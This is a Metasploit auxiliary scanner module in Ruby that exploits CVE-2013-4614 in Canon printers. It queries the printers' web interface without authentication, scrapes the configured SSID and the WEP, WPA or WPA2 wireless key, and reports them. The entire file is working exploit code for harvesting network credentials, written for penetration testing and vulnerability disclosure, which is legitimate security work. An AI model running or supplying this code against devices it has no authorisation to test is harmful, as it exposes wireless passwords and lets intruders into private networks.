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metasploit-framework/modules/auxiliary/scanner/http/canon_wireless.rb /
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| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'nokogiri' | |
| class MetasploitModule < Msf::Auxiliary | |
| include Msf::Auxiliary::Report | |
| include Msf::Exploit::Remote::HttpClient | |
| include Msf::Auxiliary::Scanner | |
| def initialize(info={}) | |
| super(update_info(info, | |
| 'Name' => 'Canon Printer Wireless Configuration Disclosure', | |
| 'Description' => %q{ | |
| This module enumerates wireless credentials from Canon printers with a web interface. | |
| It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870, | |
| MX890, MX920. | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => | |
| [ | |
| 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' | |
| ], | |
| 'References' => [ | |
| [ 'CVE', '2013-4614' ], | |
| [ 'OSVDB', '94417' ], | |
| [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html'] | |
| ], | |
| 'DisclosureDate' => '2013-06-18')) | |
| end | |
| def get_network_settings | |
| begin | |
| res = send_request_cgi({ | |
| 'method' => 'GET', | |
| 'uri' => '/English/pages_MacUS/lan_set_content.html', | |
| }) | |
| rescue | |
| print_error("#{rhost}:#{rport} Could not connect.") | |
| return | |
| end | |
| if res | |
| if res.code == 200 | |
| html = Nokogiri::HTML(res.body) | |
| checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]' | |
| if checked_lan_setting.count == 1 | |
| lan_setting = '' | |
| ssid = '' | |
| case checked_lan_setting[0]['value'] | |
| when '0' | |
| lan_setting = 'Do not use LAN' | |
| when '1' | |
| lan_setting = 'Use wired LAN' | |
| when '2' | |
| lan_setting = 'Use wireless LAN' | |
| ssid_input = html.xpath '//input[@name="LAN_TXT1"]' | |
| ssid = ssid_input[0]['value'] if ssid_input.count == 1 | |
| end | |
| return lan_setting, ssid | |
| else | |
| print_error("#{rhost}:#{rport} Could not determine LAN Settings.") | |
| end | |
| elsif res.code == 401 | |
| print_error("#{rhost}:#{rport} Authentication failed") | |
| elsif res.code == 404 | |
| print_error("#{rhost}:#{rport} File not found") | |
| end | |
| end | |
| end | |
| def get_wireless_key | |
| begin | |
| res = send_request_cgi({ | |
| 'method' => 'GET', | |
| 'uri' => "/English/pages_MacUS/wls_set_content.html", | |
| }) | |
| rescue | |
| print_error("#{ip}:#{rport} Could not connect.") | |
| return | |
| end | |
| if res | |
| if res.code == 200 | |
| html = Nokogiri::HTML(res.body) | |
| encryption_setting = '' | |
| encryption_key = '' | |
| checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]' | |
| case checked_encryption_setting[0]['value'] | |
| when '0' | |
| encryption_setting = 'None' | |
| when '1' | |
| encryption_setting = 'WEP' | |
| wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]' | |
| encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ') | |
| when '2' | |
| encryption_setting = 'WPA' | |
| wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]' | |
| encryption_key = wpa_key_input[0]['value'] | |
| when '3' | |
| encryption_setting = 'WPA2' | |
| wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]' | |
| encryption_key = wpa2_key_input[0]['value'] | |
| end | |
| return encryption_setting, encryption_key | |
| elsif res.code == 401 | |
| print_error("#{rhost}:#{rport} Authentication failed") | |
| elsif res.code == 404 | |
| print_error("#{rhost}:#{rport} File not found") | |
| end | |
| end | |
| end | |
| def run_host(ip) | |
| ns = get_network_settings | |
| return if ns.nil? | |
| good_string = "#{rhost}:#{rport} Option: #{ns[0]}" | |
| if ns[0] == 'Use wireless LAN' | |
| wireless_key = get_wireless_key | |
| good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}" | |
| end | |
| report_note({ | |
| :data => good_string, | |
| :type => 'canon.wireless', | |
| :host => ip, | |
| :port => rport | |
| }) | |
| print_good good_string | |
| end | |
| end |